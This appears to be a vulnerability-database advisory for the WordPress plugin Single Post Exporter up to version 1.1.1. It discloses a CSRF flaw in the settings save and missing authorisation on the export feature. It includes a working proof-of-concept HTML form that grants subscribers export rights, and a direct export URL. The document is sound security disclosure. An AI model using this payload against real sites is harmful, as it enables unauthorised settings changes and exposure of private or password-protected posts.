WordPress Plugin Vulnerabilities

Single Post Exporter <= 1.1.1 - Plugin's Settings Update via CSRF

Description

The plugin does not have CSRF checks when saving its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and give access to the export feature to any role such as subscriber. Subscriber users would then be able to export an arbitrary post/page (such as private and password protected) via a direct URL

Edit: there are two issues: CSRF and lack of authirsartion on the export feature (even unauthorised user can export arbitrary post/page)

Proof of Concept

To allow Subscriber to export post and page via CSRF

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=single_post_exporter_settings" method="POST">
      <input type="hidden" name="userRole[]" value="administrator" />
      <input type="hidden" name="userRole[]" value="subscriber" />
      <input type="hidden" name="export_post[]" value="post" />
      <input type="hidden" name="export_post[]" value="page" />
      <input type="hidden" name="submit_export" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Then, to export a post/page as a subscriber: https://example.com/wp-admin/admin.php?action=export_data&post=1537

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Francesco Carlucci
Submitter
Francesco Carlucci
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-11-15 (about 2 years ago)
Added
2021-11-15 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

Other